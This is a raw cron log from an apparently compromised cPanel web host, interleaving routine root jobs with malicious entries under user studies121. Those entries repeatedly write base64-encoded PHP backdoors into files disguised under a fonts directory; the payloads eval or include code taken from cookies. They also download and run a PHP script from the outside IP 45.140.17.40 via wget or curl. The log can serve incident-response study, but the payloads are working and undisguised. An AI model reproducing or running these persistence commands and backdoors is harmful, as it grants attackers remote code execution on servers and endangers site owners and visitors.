Sep  1 23:32:01 ip-184-168-122-23 CROND[8522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:32:01 ip-184-168-122-23 CROND[8524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:33:01 ip-184-168-122-23 CROND[8682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:33:01 ip-184-168-122-23 CROND[8684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:33:01 ip-184-168-122-23 CROND[8685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:33:01 ip-184-168-122-23 CROND[8687]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:34:01 ip-184-168-122-23 CROND[8767]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:34:01 ip-184-168-122-23 CROND[8770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:34:01 ip-184-168-122-23 CROND[8768]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:34:01 ip-184-168-122-23 CROND[8771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:34:01 ip-184-168-122-23 CROND[8773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:35:01 ip-184-168-122-23 CROND[8863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:35:01 ip-184-168-122-23 CROND[8867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:35:01 ip-184-168-122-23 CROND[8866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:35:01 ip-184-168-122-23 CROND[8868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:35:01 ip-184-168-122-23 CROND[8869]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 23:35:01 ip-184-168-122-23 CROND[8870]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 23:35:01 ip-184-168-122-23 CROND[8871]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 23:35:01 ip-184-168-122-23 CROND[8872]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 23:36:01 ip-184-168-122-23 CROND[8985]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:36:01 ip-184-168-122-23 CROND[8987]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:36:01 ip-184-168-122-23 CROND[8989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:36:01 ip-184-168-122-23 CROND[8988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:36:01 ip-184-168-122-23 CROND[8990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:37:01 ip-184-168-122-23 CROND[9074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:37:01 ip-184-168-122-23 CROND[9076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:37:01 ip-184-168-122-23 CROND[9077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:37:01 ip-184-168-122-23 CROND[9078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:38:01 ip-184-168-122-23 CROND[9153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:38:01 ip-184-168-122-23 CROND[9158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:38:02 ip-184-168-122-23 CROND[9156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:38:02 ip-184-168-122-23 CROND[9155]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:38:02 ip-184-168-122-23 CROND[9157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:39:01 ip-184-168-122-23 CROND[9336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:39:01 ip-184-168-122-23 CROND[9338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:39:01 ip-184-168-122-23 CROND[9339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:39:01 ip-184-168-122-23 CROND[9340]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:39:01 ip-184-168-122-23 CROND[9341]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 23:40:01 ip-184-168-122-23 CROND[9432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:40:01 ip-184-168-122-23 CROND[9437]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 23:40:01 ip-184-168-122-23 CROND[9438]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 23:40:01 ip-184-168-122-23 CROND[9441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:40:01 ip-184-168-122-23 CROND[9436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:40:01 ip-184-168-122-23 CROND[9440]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:40:01 ip-184-168-122-23 CROND[9435]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:40:01 ip-184-168-122-23 CROND[9439]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 23:41:01 ip-184-168-122-23 CROND[9531]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:41:01 ip-184-168-122-23 CROND[9530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:41:01 ip-184-168-122-23 CROND[9529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:41:01 ip-184-168-122-23 CROND[9532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:42:01 ip-184-168-122-23 CROND[9609]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:42:01 ip-184-168-122-23 CROND[9611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:42:01 ip-184-168-122-23 CROND[9613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:42:01 ip-184-168-122-23 CROND[9612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:42:01 ip-184-168-122-23 CROND[9614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:43:02 ip-184-168-122-23 CROND[9698]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:43:02 ip-184-168-122-23 CROND[9700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:43:02 ip-184-168-122-23 CROND[9702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:43:02 ip-184-168-122-23 CROND[9701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:44:01 ip-184-168-122-23 CROND[9777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:44:01 ip-184-168-122-23 CROND[9778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:44:01 ip-184-168-122-23 CROND[9783]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:44:01 ip-184-168-122-23 CROND[9782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
